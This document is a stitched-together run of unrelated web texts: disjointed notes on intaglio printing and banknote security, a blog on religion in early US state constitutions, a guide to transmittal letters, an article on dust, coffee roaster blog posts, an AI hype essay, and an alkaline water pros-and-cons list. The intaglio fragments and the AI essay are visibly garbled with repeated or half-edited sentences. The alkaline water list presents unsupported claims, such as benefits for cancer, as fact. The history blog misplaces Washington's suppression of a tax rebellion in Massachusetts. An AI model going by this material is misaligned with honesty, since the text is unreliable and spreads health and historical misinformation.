class="font-size--16 MsoNormalTHE FEATURES class="font-size--16 MsoNormalMr Gunn explained that genuine US currency contains red and blue fibres, intaglio printing, typographic printing, a security thread, watermark, colour shifting ink, micro printing, a 3D security ribbon and a colour shifting bell.
I was introduced to Intaglio printing in upper high school, close to college.
For a genuine bank note you need to feel the smooth and embossed texture of the note due to intaglio printing."
Based on the these specifications, Formas Inteligentes has created a secure validation system that includes four-colour intaglio printing; variable digital printing with touch-sensitive relief; RFID and NFC technology; full-colour proprietary two-dimensional codes with anti-copy technology; high-security paper with light- and water-reactive security features; latest generation holographic features with electronic verification capability; variable holographic numbering (see image on page 1); colour-shifting inks; and open platform middleware with block coding, iOS and Android applications for tablet and smartphone, with support for RFID, NFC and proprietary 2D codes.
Twelve states require intaglio printing for documents, and they suddenly found themselves without a supplier and unable to properly issue certain documents such as birth, marriage and death certificates.
The banknotes will include new tactile features fengraved in bleed-off intaglio printing on the edge of the banknotes' short sides.
The banknotes will include new tactile features for the blind and sight impaired, engraved in bleed-off intaglio printing on the edge of the banknotes' short sides.
Intaglio printing (gravure printing, steel engraving) is currently an obligatory way to protect banknotes and other types of products in majority of the world countries due to its ability to provide relief image elements with high tactile effect (portray, inscriptions, digital denomination, micro text) [1].
He traces the development of intaglio printing (in which a lowered surface carries the design, as in etching, engraving, mezzotint and photogravure) over 600 years in all its manifestations, from the earliest emergence of proto-printmaking around 1400 until the year 2000. |
American Genesis: Fundamental Principles
As if advocating worship wasn’t enough, the Framers also set a course to promote moral values within government; this was done by encouraging public morality within their constitutions. They affirmed that the citizenry represented had a right to require their leaders to live in a moral manner. Massachusetts Part I, Article I, Paragraph 18:
“A frequent recurrence to the fundamental principles of the Constitution, and a constant adherence to those of piety, justice, moderation, temperance, industry, and frugality, are absolutely necessary to preserve the advantages of liberty, and to maintain a free government. The people ought, consequently, to have a particular attention to all those principles, in the choice of their officers and representatives, and they have the right to require of their lawgivers, and magistrates, an exact and constant observance of them in the formation and execution of all laws for the good administration of the Commonwealth.”
Were these unconstitutional principles after the U.S. Bill of Rights was adopted in 1791? Not at all. In 1830, Massachusetts’s lawmakers amended their state Constitution. There were no changes to the language regarding religion, morality, and the promotion of worship. How dramatically governments have changed since then!
During the 1988 presidential primaries, Democratic candidate Gary Hart found his formerly first place bid for the White House had suddenly plummeted to last place when his extra–marital activities were made public. In contrast, four years later, Bill Clinton was elected president with 43 percent of the vote—with polls showing most the American people holding the position that Clinton’s past (and potentially future) indiscretions did not disqualify him for the land’s highest office. In his subsequent eight years in office, as his extra-martial affairs and other failures became known, the American public still regarded him highly. Piety, religion, and morality as a part of the American conscience has whittled away leaving a moral void in politics—and it didn’t take long.
New Hampshire, one of the original 13 states, was admitted into the Union in 1788. Her first Constitution under the federal government was ratified in 1792—the year after the U.S. Bill of Rights was put into effect.
New Hampshire’s constitution is not unlike the other first constitutions, but in many respects, makes the case for private education, and moral values in stronger terms than the previously featured Maine and Massachusetts documents. New Hampshire’s constitution, like virtually every other, recognized “natural rights”—rights which every person has in and of themselves. Natural rights are rights, which the Framers believed should not be infringed by the government. In Part I, Article I, Paragraph 2, the first New Hampshire Constitution reads:
“All men have certain natural, essential, and inherent rights—among which are, the enjoying and defending of life and liberty acquiring, possessing, and protecting; in a word, of seeking and obtaining happiness.”
In Paragraph 4, the concept of natural rights was expanded:
Paraphrased, we see that there are rights, which cannot be replaced. Not that a thing a right guarantees cannot be replaced, but the right itself has no equivalent. These rights are built into the fiber of human nature. It is natural and right for a person to want to enjoy the quality of life he has, defend or hold onto his existence, liberties, and happiness.
“The natural liberty of man is to be free of any superior power on earth, and not to be under the will or legislative authority of man, but only to have the law of nature for his rule…which liberty is only abridged in certain instances not lost to those who are born in or voluntarily enter into society; this gift of God cannot be annihilated.”3
While God’s gift of the liberties of man cannot be annihilated, it can certainly be oppressed.
“Every individual has a natural and unalienable right to worship God according to the dictates of their own conscience, and reason…”
What we believe determines how we live. Take away opinion based upon observed evidence and you take away more than conscience—you do away with life founded upon principles of morality and reason.
Colonel Ethan Allen who fought during the revolutionary battle of Ticonderoga “Was an open unbeliever in Christianity. He not only wrote the first formal attack on the Christian religion which was ever written in America, but he adopted the notion that the soul of man, after death, would live again in beasts, birds, fishes, etc, with many other notions still more singular. It is said that though his wife was a pious woman and taught her children the truths of Christianity, one daughter inclined to the same strange opinions of her father. When [she was] about to die” she asked Col. Allen, ‘Shall I believe in the principles you have taught me, or what my mother has taught me?’ The father became agitated, his chin quivered, his whole frame shook, and after waiting a few moments, he replied, ‘Believe what your mother has taught you.'”4
Governments may have given some support to Christianity, but differences existed. Man, however, like Col. Allen, could be persuaded at one time or another by life’s turmoil, of the securities found in Jesus Christ.
New Hampshire’s framers understood that in order to maintain the rights of conscience they intended; those rights must receive some kind of official support—recognition that their advocacy is necessary to maintain a stable society. Like other states, New Hampshire provided for private values in public education. Part I, Article I, Paragraph 6, sounds in no way like a “secular” admonition:
“As morality and piety, rightly grounded on evangelical principles, will give the best and greatest security to government, and will lay, in the hearts of men, the strongest obligations to due subjection…”
Stopping here, we should consider the language: The concept that proper subjection to good government comes through the propagation of values “rightly grounded on evangelical principles,” is completely unlike the concept of secular neutrality found in courts, schools, and legislatures today. Consider this clause’s phrase, “security to government.” The knowledge that the people will be under the subjection of their government without cause for rebellion is was based upon public morality, encouraged by the state—not any kind of governmental police powers.
Even after the establishment of the Federal Constitution, there were occasional rebellions by factions within one or two states. President George Washington found it necessary at one point to militarily put down a tax rebellion in Massachusetts.
This century’s habit of revising its view of American history has fostered a notion among many people that the War for Independence was not a revolution in the true sense of the word, rather, a rebellion against due authority, and thus, a violation of the biblical standard of obedience to governing authorities found in Romans 13. How could men such as the Founding Fathers, so familiar with the Scriptures, condone and actually instigate such behavior? Before answering the question, a proper view of what actually took place is necessary. Was the American Revolution a true revolution or was it a rebellion without biblical support?
Contrary to the notion that America was in rebellion to the Mother Country of Great Britain, Americans were, in fact, originally seeking two things—loyalty to the King, and redress against the British Parliament. The colonies asserted the Parliament had no legal authority, based upon the British Constitution and Law of Nations, to dictate policies for the colonies. John Adams, in his January 1775 Novanglus VII wrote:
“Some of these colonies, indeed, most of them were settled before the Kingdom of Great Britain was brought into existence. The union of England and Scotland was made and established by [an] Act of Parliament in the reign of Queen Anne, and it was this union and statute, which erected the Kingdom of Great Britain. The Colonies were settled long before in the reign of Kings James and Charleses. What authority over them had Scotland?. . . .If the English Parliament were to govern us, where did they get the right without our consent, to take the Scottish Parliament into a participation of the government over us?”
America, already had a parliament of its own—the assemblies and legislatures of the colonies; and in the Continental Congress. The British Parliament’s act was assuming authority over that of the colonies. Instead of rebelling, the American colonies spent many years appealing to the King as their recognized leader, each time reaffirming their loyalty to him, while begging for satisfaction of their complaints. Sadly, the King did not respond in kind. Regardless, the colonies remained loyal—even during the revolution. For example, New Jersey’s 1777 constitution closed with this clause:
“…if a reconciliation between Great Britain and these colonies should take place, and the latter be again taken under the protection of and government of Great Britain, this charter shall be null and void…”
New Hampshire’s Part I, Article I, Paragraph 6 went on to establish what we previously examined—state promoted, privately supported, public schools with a firm foundation in Christian traditions and morality—without outside interference from governmental or non–religious groups.
The Founders seemed to have complete agreement upon two fundamental principles, the need for Christian morality, and its promotion through education. There were other concepts agreed upon, such as forbidding judicial activism, but none seemed so important as morality, religion, and their public instruction. Nothing else offers the hope of preventing crime, family breakdown, the need for government programs, and limitations on personal freedoms. In the words of Founding Father Daniel Webster,
“The cultivation of the religious sentiment represses licentiousness…inspires respect for law and order, and gives strength to the whole social fabric…”1
Tomorrow: Separation of Church & State.
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What Is a Letter of Transmittal?
What Is a Letter of Transmittal?
Updated 26 February 2021
Depending on the industry you work in, important documents are often passed between people and organizations.
A letter of transmittal is a cover letter that travels with these documents to ensure the recipient:
• Understands the document they have received
• Is aware of any further action they need to take
• Knows who the document is from and why
A letter of transmittal also provides a record of a document's movements.
When Is a Letter of Transmittal Used?
Letters of transmittal should be used whenever you send a document.
Even if the document does not need an explanation, it is good practice to include a transmittal letter to create a line of communication and provide a record of delivery.
The letters can be used:
• To explain any instructions regarding the document
• When sending documents that require approval or reviewing
• When a project produces unexpected outcomes
• If a project needs delaying due to unforeseen challenges
• When key information needs highlighting
• If you need to explain why the document should be read
When deciding what the letter should include, consider:
• What it is you are sending
• Who you are sending it too
• What that person already knows about the document
The most common example of a transmittal letter being used is when sending documents to people outside of your own organization.
Letters of transmittal are also required for:
• Sensitive or confidential documents. The recipient needs to be aware that the document is for their eyes only before opening and reading it.
• Financial reports. These reports can be complex. A letter of transmittal provides context and clarification.
• Proposals. Sending a letter with your proposal gives the recipient a summary of the document and reminds them why they are receiving it.
• Technical documents. A letter of transmittal is particularly important with technical documents as your recipient may not fully understand them. These types of documents can be complex; a small explanation can help contextualize them.
How to Write a Letter of Transmittal
Transmittal letters are formal letters. Using a standard business letter format:
• Include both parties' details. Write your name and address, as well as the recipient's name, agency and address. Including all details ensures a clear record of anyone involved. Confidential records should only be read by those cleared too. Stating full details prevents the document from being read by the wrong person.
• Introduce the document. State why you are sending the document and a general description of the contents. If this is the first time you are speaking with the recipient, take a sentence or two to explain who you are.
• Explain further. Draw attention to critical parts of the document and anything that requires extra explanation. By the end of this paragraph, the recipient should have a clear understanding of who you are, what the document is and why they have received it.
• Highlight any limitations of the document. If your document contains any sensitive material, explain to the recipient any security measures or limitations they need to abide by.
• Notify the reader of any changes or concerns. If the document has been updated, briefly describe the changes. If there are parts you have concerns about, highlight those sections.
• Clarify any actions the recipient needs to take, such as if they need to sign the document or respond by a certain deadline.
• Include contact information. Tell the recipient how they can contact you should they need further clarification on anything in the document.
• Write a conclusion. Use this section to thank the recipient for their time and cooperation.
• Use a professional signature. Finish your letter with the appropriate salutation and your official signature. If it is a physical document, sign in ink. For electronic versions, upload a digital version of your signature or sign using a touchscreen or pad.
What Is a Letter of Transmittal?What Is a Letter of Transmittal?
Letter of Transmittal Template and Example
Letter of Transmittal Template
Sender's Name
Recipient's Name
RE: Document name
Dear Mr/Ms First and Last Name
Introductory paragraph: Who you are and a general description of the document.
Second paragraph: Important details or clarification of the document. Any limitations or security measures.
Third paragraph: Additional notes, deadlines or further action the recipient needs to take.
Fourth paragraph: Contact information and polite thank you.
'Sincerely’ or ‘Regards’,
Sender's signature
Full Name
Letter of Transmittal Example
Jane Doe
Advertising Manager
XYZ Company
789 Street
City, State 12345
John Smith
Director of Advertising
ABC Company
123 Boulevard
City, State 54321
February 10th, 2021
RE: Q2 Final Reports
Dear Mr Smith,
My name is Jane. I have recently taken over the position of Advertising Manager from Andrew, and I hope to meet you in person soon. Accompanying this letter are the final financial reports for Q2. The report includes the data from all advertising campaigns completed in Q2. It also includes an analysis of key results and proposals for potential campaigns.
The analysis shows that our campaigns have been a success, particularly those that cover multiple platforms and are interactive. I'd also like to highlight that the ROI is 14% higher than in Q1. Using the analysis, my team has created four future proposals for your consideration, should you wish to remain with us.
The final page of the document is a form we require you to sign to confirm that you have received the report. Please sign at your earliest convenience and email a copy to receptionist@xyzcompany.com.
If you have any further questions or want me to provide further analysis, please reach out. My cell number is 555-555-5555, and my email is janedoe@xyzcompany.com.
Thank you for taking the time to read through the report and proposals. We hope to hear from you soon.
Ms Jane Doe
Key Tips for Writing a Letter of Transmittal
When writing your letter of transmittal, consider the following:
• Use a standard business format. Keep the letter professional and formal. Use simple designs so the content is clear.
• Check the templates folder first. Some organizations have their own preferred transmittal letter template. Before writing your own, check with a manager or colleague to see if a template is available.
• Keep the tone light. The format should indeed be business-like, but the tone of the letter can be lighter. Use your interpersonal skills and be friendly and welcoming.
• Keep the letter brief. Only detail the important parts in your letter. It should not be more than one page. Your recipient will read the full document so there is no need to go into deep detail. Should they need any further clarification, you have given your contact details.
• Check all the important information is there. Ensure you have explained the following:
1. Who you are
2. What the document is
3. Why they have received the document
4. What steps they need to take next
5. A way to contact you
• Proofread before sending. Check your grammar and spelling alongside your formatting. A letter covered in mistakes could reduce the perceived value of the document and jeopardize the relations between your company and the receiver.
• Check company policy. Before sending your document, check if anyone needs to sign off on the document or if any additional steps need taking. Once the document has been sent or emailed, you cannot call it back, so it must be done correctly the first time around.
• Make an extra copy. You or your recipient might need an additional copy of the transmittal letter, as well as the document, sometime in the future. The extra copy can also be filed as a record of your communication or proof of delivery.
• Send it with the document. This letter accompanies a document. Make sure both are sent and received together to avoid any confusion.
Final Thoughts
Letters of transmittal are useful documents. They:
• Open up a channel of communication
• Provide a detailed record of where a document has been
• Detail who has had access to a document
• Allow for further clarification and explanation of a document
They are official business letters, so it is essential you:
• Follow the correct format
• Include all the necessary information
• Proofread before sending
If you are unsure about whether a transmittal letter is needed, the correct procedure for sending a document or if your letter is up to standard, ask a senior or more experienced colleague or manager.
It is better to get a second option from someone with experience, rather than make any mistakes.
By Hayley Ashworth |
Get Dust essential facts below. View Videos or join the Dust discussion. Add Dust to your PopFlock.com topic list for future reference or share this resource on social media.
A dust storm blankets Texas houses, April 1935
Global oceanic distribution of dust deposition
Map of dust in 2017
Domestic dust on a finger
Dust is made of fine particles of solid matter.[1] On Earth, it generally consists of particles in the atmosphere that come from various sources such as soil lifted by wind (an aeolian process), volcanic eruptions, and pollution. Dust in homes is composed of about 50% dead skin cells.[2] The rest, and in offices, and other human environments is composed of small amounts of plant pollen, human and other animal hairs, textile fibers, paper fibers, minerals from outdoor soil, burnt meteorite particles, and many other materials which may be found in the local environment.[3]
Presentation on imported dust in North American skies
Large dust storm over Libya
Dust in the atmosphere is produced by saltation and sandblasting of sand-sized grains, and it is transported through the troposphere. This airborne dust is considered an aerosol and once in the atmosphere, it can produce strong local radiative forcing. Saharan dust in particular can be transported and deposited as far as the Caribbean and the Amazon basin, and may affect air temperatures, cause ocean cooling, and alter rainfall amounts.[4]
Middle East
Dust kicked up by vehicles traveling on roads[6] may make up 33% of air pollution.[7] Road dust consists of deposits of vehicle exhausts and industrial exhausts, particles from tire and brake wear, dust from paved roads or potholes, and dust from construction sites. Road dust is a significant source contributing to the generation and release of particulate matter into the atmosphere.[8] Control of road dust is a significant challenge in urban areas, and also in other locations with high levels of vehicular traffic upon unsealed roads, such as mines and landfill dumps.
Road dust may be suppressed by mechanical methods like street sweeper vehicles equipped with vacuum cleaners,[9] vegetable oil sprays,[10] or with water sprayers. Calcium Chloride can be used. Improvements in automotive engineering have reduced the amount of PM10s produced by road traffic; the proportion representing re-suspension of existing particulates has increased as a result.
Coal dust is responsible for the lung disease known as pneumoconiosis, including black lung disease that occurs among coal miners. The danger of coal dust resulted in environmental legislation regulating work place air quality in some jurisdictions. In addition, if enough coal dust is dispersed within the air in a given area, in very rare circumstances, it can create an explosion hazard under certain circumstances. These circumstances are typically within confined spaces.
Most governmental EPAs, including the United States Environmental Protection Agency (EPA) mandate that facilities that generate fugitive dust, minimize or mitigate the production of dust in their operation. The most frequent dust control violations occur at new residential housing developments in urban areas. United States Federal law requires that construction sites obtain permits to conduct earth moving, clearing of areas, to include plans to control dust emissions when the work is being carried out. Control measures include such simple practices as spraying construction and demolition sites with water, and preventing the tracking of dust onto adjacent roads.
Some of the issues include:[]
• Improving visibility and road safety.
• Improving crop productivity in agriculture.[]
US federal laws require dust control on sources such as vacant lots, unpaved parking lots, and unpaved roads. Dust in such places may be suppressed by mechanical methods,[] including paving or laying down gravel, or stabilizing the surface with water, vegetable oils[10] or other dust suppressants, or by using water misters to suppress dust that is already airborne.[]
House dust under a microscope.
Domestic Dust on a Ribbon
A video on reducing dust exposure in the workplace
Dust control is the suppression of solid particles with diameters less than 500 micrometers. Dust poses a health threat to children,[11] older people, and those with respiratory illnesses.
Dust resistant surfaces
A dust resistant surface is a state of prevention against dust contamination or damage, by a design or treatment of materials and items in manufacturing or through a repair process[]. A reduced tacticity of a synthetic layer or covering can protect surfaces and release small molecules that could have remained attached. A panel, container or enclosure with seams may feature types of strengthened rigidity or sealant to vulnerable edges and joins.
Outer space
Cosmic dust is widely present in space, where gas and dust clouds are the primary precursors for planetary systems. The zodiacal light, as seen in a dark night sky, is produced by sunlight reflected from particles of dust in orbit around the Sun. The tails of comets are produced by emissions of dust and ionized gas from the body of the comet. Dust also covers solid planetary bodies, and vast dust storms can occur on Mars which cover almost the entire planet. Interstellar dust is found between the stars, and high concentrations produce diffuse nebulae and reflection nebulae.
Atmospheric gallery
Dust mites
Dust mites are a nesting species that prefers a dark, warm, and humid climate. They flourish in mattresses, bedding, upholstered furniture, and carpets. Their feces include enzymes that are released upon contact with a moist surface, which can happen when a person inhales, and these enzymes can kill cells within the human body.[14] House dust mites did not become a problem until humans began to use textiles, such as western style blankets and clothing.[15]
See also
1. ^ "Dust". Merriam-Webster. Archived from the original on 2017-03-14.
2. ^ Dust Biology for Allergists, Acarologists and Mycologists, J. E. M. H. van Bronswijk, p37
3. ^ Hess-Kosa, Kathleen (2002). Indoor Air Quality: sampling methodologies. CRC Press. p. 216.
4. ^ a b Middleton, N. J.; Goudie, A. S. (2001). "Saharan dust: Sources and trajectories". Transactions of the Institute of British Geographers. 26 (2): 165. doi:10.1111/1475-5661.00013.
5. ^ Jickells, T. D.; An, Z. S.; Andersen, K. K.; Baker, A. R.; Bergametti, G.; Brooks, N.; Cao, J. J.; Boyd, P. W.; Duce, R. A.; Hunter, K. A.; Kawahata, H.; Kubilay, N.; Laroche, J.; Liss, P. S.; Mahowald, N.; Prospero, J. M.; Ridgwell, A. J.; Tegen, I.; Torres, R. (2005). "Global Iron Connections Between Desert Dust, Ocean Biogeochemistry, and Climate". Science. 308 (5718): 67-71. Bibcode:2005Sci...308...67J. CiteSeerX doi:10.1126/science.1105959. PMID 15802595.
6. ^ "Road Dust - Something To Sneeze About". Sciencedaily.com. 1999-11-30. Archived from the original on 2012-10-30. Retrieved .
7. ^ [1] Archived July 11, 2011, at the Wayback Machine
8. ^ "Environment Canada - Pollution and Waste - Tracking Pollution in Canada". Ec.gc.ca. 2012-07-05. Archived from the original on 2006-09-24. Retrieved .
9. ^ Peel, G.; Michielen, M.; Parker, G. (2001). "Some aspects of road sweeping vehicle automation". 2001 IEEE/ASME International Conference on Advanced Intelligent Mechatronics. Proceedings (Cat. No.01TH8556). 1. Ieeexplore.ieee.org. pp. 337-342. doi:10.1109/AIM.2001.936477. ISBN 978-0-7803-6736-4.
10. ^ a b "Questions and Answers: Road Dust Control with Soapstock-A Soybean Oil By- Product". Usroads.com. 1998-06-01. Archived from the original on 2013-01-11. Retrieved .
11. ^ "Dust mites in the humid atmosphere of Bangalore trigger around 60% of asthma" "50% Bangalore kids hit by asthma - Bengaluru - City - the Times of India". Archived from the original on 2009-01-13. Retrieved .
12. ^ Government of Canada, Canadian Centre for Occupational Health and Safety (May 18, 2020). "What are the Effects of Dust on the Lungs? : OSH Answers". www.ccohs.ca. Archived from the original on Feb 5, 2016.
13. ^ D. P. Finkbeiner, M. Davis and D. J. Schlegel (1999). "Extrapolation of Galactic Dust Emission at 100 Microns to CMBR Frequencies Using FIRAS". Astrophys. J. 524 (2): 867-886. arXiv:astro-ph/9905128. Bibcode:1999ApJ...524..867F. doi:10.1086/307852.
14. ^ Abadi, Sara (August 2009). "The Great American Hygiene Survey Results Revealed". AOL Health. Archived from the original on 2009-08-26. Retrieved .
15. ^ Matthew J. Colloff, Dust Mites
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October 21, 2016
Usually coffee beans [seeds] develop in pairs within the coffee fruit. However, occasionally only one of the ovaries of the flower is pollinated and therefore only a single bean develops. These independent beans are called peaberries and can be found in coffees all over the world. On average peaberries develop three to nine percent of the time, so they are fairly rare and most are not separated out. Chances are that the bag of coffee you have right now contains peaberries. If you sift through you'll be able to tell by the round shape of the bean. When two beans develop side by side they flatten each other out, but when a bean has room to grow, it develops into a much rounder (oval) bean, hence the name.
Most coffee producers don't separate out peaberries, but some do. Using a screen during processing allows producers to sort the peaberries from the regular coffee beans. When producers do the extra work of separating out the peaberries it gives us the opportunity to taste a variation of that coffee. In most cases peaberries are very similar to their regular coffee bean kin, but just as they develop a unique shape, they also develop other unique qualities. Peaberries don't follow any general rules and peaberries are not necessarily better or worse than regular beans, but they give roasters and coffee drinkers the opportunity to further explore the aroma, flavor, body and acidity of a coffee.
In some instances when peaberries are separated out, the subtle difference in the coffee can make a great coffee even better. Tanzanian coffee is one of the most renowned for it's peaberries. Perhaps it's the volcanic soil, or the elevation of Mt. Kilimanjaro, but coffee processors in Tanzania have long been separating out peaberries because of their intense fruity flavor, vibrant acidity, deep body, and sweet aroma. We're very excited to offer our limited release of Tanzanian Peaberry. We're roasting it to Full City to keep it's unique flavor and aroma, while taming some of it's acidity. We hope you enjoy it!
March 25, 2016
Why do we call chocolate coffee drinks Mocha?
Mocha has nothing to do with chocolate. The word mocha is only associated with coffee because from the late 15th century until the early 18th century much of the world's coffee came out of Mocha, a port city in Yemen. The arabica beans from the exceptional growing regions in Yemen (they were not actually grown in Mocha) were often referred to as Mocha Beans, which is why the world's original coffee blend was called Mocha Java (beans from Yemen and Java). It appears that Americans pioneered calling chocolate coffee drinks "mocha" but they were certainly not the first to mix chocolate with coffee. The beans grown in Yemen have strong chocolate notes, which early coffee drinkers in Europe recognized from one of their other major imports - Cocoa. Records of coffee drinks served with chocolate exist from early coffee houses in Venice and other European cities, and it's likely that the combination of beans from mocha and their natural pairing with chocolate, inspired the words many of us utter every morning.
So while many of us have come to think of chocolate when we hear the word Mocha, our newest creation, Mocha Java, is not chocolatey. Our version of the famous and time honored blend combines the highest grade Estate Java from the island of Java in Indonesia with Ethiopian Yirgacheffe to create an insanely awesome cup of coffee. The Estate Java brings the body and depth and the Ethiopian brings the brightness and light acidity. Beans grown in the Yirgacheffe region are slightly less chocolately than their Yemenese relatives, so you'll get subtle cocoa notes but they are so well blended you'll have to really sit with the cup to find them. Take a trip back to the roots of coffee craft and experience a legendary cross-regional cup of coffee.
January 20, 2016
It's Not Like Cooking...It Is Cooking
Following a recipe is not cooking, it's assembling. Sure it's good to know the basic ingredients and order of operations, but actual cooking starts where the recipe ends. Cooking takes patience, preparation, and perseverance, and if done right is more of an art than a science. If you've ever asked a great cook for a recipe, they likely laughed and maybe begrudgingly handed you something with some ingredients written on it. That's because you can't write down how to make great food. It takes practice, and attention to detail at each step of the process, and great cooks are constantly tweaking and adjusting on the fly as they test their creation. They start with the basic ingredients, then they experiment with quantity, variations, and new ingredients. In some cases they throw the recipe out all together and concoct their own. Even the most disciplined recipe follower will play with the timing and cooking method. Cooking takes time and commitment, but most of all it takes a willingness to dive in, get messy, mess up and get better each time. Recipes are great, but they're just a suggestion. If you want great food that tastes great to you, then you have to cook.
That brings us to making coffee. You can throw a pod in a Keurig (if it fits) and something will come out, but that's no more making coffee than microwaving a frozen dinner is cooking. If you want great coffee, you have to make it. Like cooking, a recipe can be helpful, but just following a recipe isn't really making coffee either. Any brewing device you buy will come with instructions and there is no shortage of brew guides on the web, but while most will tell you exactly how much coffee to use and how to grind it, that, like a recipe, is just the starting point. We respect the science of coffee, but we're craftsmen so we love the art. We don't roast our coffee according to some generic formula and we don't think you should make coffee that way either. Whichever method you're using (pour over, kemex, french press, drip), start experimenting with your process and craft your coffee so that it tastes great to you. That may mean a little more coffee, a finer grind, or a longer brew time. The suggested measurements are a good place to start, but you have to free yourself from those limitations if you want to MAKE coffee. As you perfect your craft keep a few things in mind.
Just as with cooking, when it comes to ingredients, the fresher the better. We make it easy for you to get freshly roasted coffee, but if you want your coffee to be as fresh as possible, you should buy it whole bean, store it in an airtight container, and grind it just before making it. The quality of your water, which is your main ingredient is also very important. We highly recommend filtering your water so that you don't compromise the taste of the coffee. As a general rule if water has a taste, it will make bad tasting coffee. Water temperature is also important. You don't want to use boiling water and you don't want to use water that isn't hot enough. The ideal temp to extract the best flavor is around 200 degrees fahrenheit (212 degrees is boiling). Keeping these basics in mind you can experiment with all kinds of coffees, grinds, methods, coffee to water ratios, and brew times and you will be a great coffee maker.
In summary, make coffee and don't worry about doing it exactly the way someone else tells you, it's an art!
December 10, 2015
Welcome to the Capital City Coffee Roasters blog! If you're reading this you know that we have just launched our online store. We've been craft roasting coffee in small batches for a long time (at least one of us has gray hair), and we've been fortunate to have such loyal customers over the years. In our new venture we are excited to offer the same level of service and craftsmanship CCCR has always been known for, to a larger community of coffee makers. We remain, as we always will, committed to the craft and the people who make our coffees in their kitchens, at work, in cafe's and restaurants, and hopefully all kinds of new places.
On this last note, we would like to use this initial blog post to share our thoughts on the state of coffee consumption. We realize that not everyone travels with whole bean coffee, a micro-grinder, and an aeropress, but we do believe that the best cup of coffee you will ever have is the best cup of coffee you ever make. We're not that snobby about coffee making, we just think the "making" is an important part of enjoying all that coffee has to offer. It doesn't have to be fancy and you don't have to weigh your coffee before you brew it. In fact, for most of us, coffee tastes best the simpler it is. Think fresh roasted coffee, percolated over a fire when we're camping, or filtered through a french press on a Sunday morning. We're not naive, and we know that the pace of life often dictates quick fixes and to-go mugs, but we hope you'll follow this blog for tips and inspiration on enjoying the "process" of making coffee.
Over the years we've worked hard to refine our roasts and source the best beans the world has to offer so that we can stand behind the label of "craft roasted." Now we want to share our commitment to craftsmanship with a larger community and provide our customers with everything they need to be craftsmen and craftswomen in their own homes. We've opened our store with our coffee and we're in the process of testing micro-roasters, espresso machines, and brewing equipment so that we can provide you with the equipment and information you need to make that best ever cup of coffee.
We appreciate the opportunity to share coffee with you and would love to hear about, and see how you make our coffee. Please follow our social channels and sign up for our newsletter. And most of all, please share your coffee moments with us on facebook and instagram (#capitalcityroasters). We love seeing craftsmen and craftswomen at work, and your ingenuity and commitment to the craft inspires us to keep searching the world for the best beans and the best way to roast them.
Love the craft, respect the process.
- The CCCR Crew |
Artificial Intelligent Software – Can You Have a Better Future
The term ‘artificial intelligent’ has been around since the 1970’s. But now we’re seeing an increase in the use of AI to enhance and help humans – a sort of super-human.
We may not see it as human or artificial intelligence, but what about a computer which could predict or even diagnose a disease in human beings or even diagnose cancer in a human? This sounds like science fiction and might be an exaggeration – but let’s look at the benefits.
For one, we have to start by acknowledging that this is a new technology. Not every new technology comes with clear benefits. Some do not have enough evidence to make the leap to mainstream. But as we watch what’s happening in the business world and the healthcare industry, we have to acknowledge the power of artificial intelligence.
For one thing, the rise of artificial intelligence has allowed us to design software which can learn more without us having to know it. This means that software will be able to take in more data and make more informed decisions without us ever being aware of what it’s doing. In a sense, it will be able to look at the world as if we did, without us actually having to think about it.
There are many ways in which artificial intelligence can improve our lives and make life better for all of us. It has the potential to help us with everything from the weather to our finances. And with advances like this, we may have a super-human who can cure disease and even predict or treat it for us.
How much of a super-human should we actually trust? How much power does it have? Will it be able to save the world, or will it be just another tool that we can use to our own advantage?
One thing is certain, these new technologies are making life a little bit easier for everyone. But it’s up to us to decide what to do with them. If we let them run rampant, then they will probably cause more problems than we’d originally bargained for.
We’ll be able to see where this new technologies are heading before we know it, and that’s something to look forward to. As they become more widely accepted, we will need to be sure that we’re fully prepared for what they. will mean for us.
And we need to be ready to embrace the wave of artificial intelligence because it’s coming. We need to be ready to be amazed at what it brings to the world. But that can only happen if we pay attention and learn as much as we can about it, and about ourselves as we can.
It’s easy to understand why so many people are excited about artificial intelligence. With advances like this, we can be on our way to saving millions of lives. The next time you get sick, you may be able to get the medical advice you need thanks to the power of artificial intelligence.
As artificial intelligence is used to our benefit, we will be able to look at the world around us and find solutions for everything, including how to beat the disease. illness itself. We can put an end to war and prevent destruction, and disease.
Imagine a world where we’re not the only ones in charge of our health and wealth, but also the world we live in. And we’ll have a whole new world to work in. A future where computers don’t play god and humans no longer rule. are the bosses.
You might even be able to create a better future for yourself, too. The possibilities are endless when artificial intelligent software starts taking the reins and making decisions on your behalf. |
6 Advantages and Disadvantages of Drinking Alkaline Water
There has been a lot of hype about the health benefits of drinking alkaline water, but those on the other side of the fence believe that that is all it is—hype. What makes alkaline water so special from the regular variety is because it has a higher pH level, which means it is less acidic. And since too much acid is bad for the body, it makes sense to stay hydrated with water with a higher pH level. However, the argument of the benefits of alkaline water is still hot, especially when there are some doctors and researchers who say there isn’t efficient evidence to back its health claims.
List of Advantages of Drinking Alkaline Water
1. It can help the body manage acidity.
Since alkaline water supposedly has a higher pH level, this can help balance out the acidity in the human body. Because of this, it is beneficial for those who suffer from acid reflux, diabetes, arthritis, cancer, and other chronic diseases that are caused by high acid levels.
2. It has dissolved minerals.
Alkaline water has a higher pH level thank to these dissolved minerals. Pure water doesn’t contain these kinds of minerals and that is why it has a lower pH level. These balancing minerals can be absorbed by the body more easily, so the leaching of alkaline minerals from tissues and bones can be prevented. As a result, it helps to prevent certain diseases like osteoporosis.
3. It can be absorbed more easily by the body.
Because alkaline water is made up of small clusters of water molecules, it can be absorbed better by the body as compared to normal water. This characteristic means you can be better hydrated since water passes in and out of cells more easily. It also means toxins can be flushed out of your system more effectively.
List of Disadvantages of Drinking Alkaline Water
1. There aren’t official studies that can back its health benefits.
Proponents of alkaline water may consider it a natural remedy for a variety of illnesses and health conditions. However, there are no official scientific studies that have been released to date regarding its health benefits. Others also argue that if you just keep yourself hydrated well with normal water and eat a healthy diet, you will achieve similar results as when drinking water with higher alkaline levels.
2. It requires special filters.
If you want to drink alkaline water at home, then you will have to invest in special filters or ionizers that will make water alkaline through a chemical process called electrolysis.
3. It is more expensive.
Due to the special filters required for the alkaline process, you can expect to spend more if you want to drink this type of water. You can also buy drops which will be added to your regular water in order to make it more alkaline. Of course, you also have the option to buy bottled alkaline water. Whichever method you choose, you will end up spending more than you usually would if you were just buying and drinking regular water.
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Thalassemia is a group of inherited blood disorders that can be passed from parents to their children and affect the amount and type of hemoglobin the body produces.
